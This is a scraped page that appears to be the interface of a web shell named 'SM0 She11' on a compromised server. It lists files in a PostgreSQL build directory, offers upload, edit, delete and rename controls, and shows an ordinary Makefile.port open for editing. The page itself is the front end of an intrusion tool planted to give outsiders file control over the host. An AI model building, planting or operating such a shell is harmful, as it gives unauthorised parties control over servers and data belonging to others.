SM0 She11
Path:
/
/
usr
/
lib64
/
pgsql
/
pgxs
/
src
Full Path (server): /usr/lib64/pgsql/pgxs/src
Create Fil3
Upl04d Fil3
📄 Makefile.global
[E]
[D]
[R]
📄 Makefile.port
[E]
[D]
[R]
📄 Makefile.shlib
[E]
[D]
[R]
📁 makefiles
Open
[D]
[R]
📄 nls-global.mk
[E]
[D]
[R]
📁 test
Open
[D]
[R]
Editing: Makefile.port
AROPT = crs export_dynamic = -Wl,-E # Use --enable-new-dtags to generate DT_RUNPATH instead of DT_RPATH. # This allows LD_LIBRARY_PATH to still work when needed. rpath = -Wl,-rpath,'$(rpathdir)',--enable-new-dtags allow_nonpic_in_shlib = yes DLSUFFIX = .so CFLAGS_SL = -fPIC # Rule for building a shared library from a single .o file %.so: %.o $(CC) $(CFLAGS) $(LDFLAGS) $(LDFLAGS_SL) -shared -o $@ $<
Save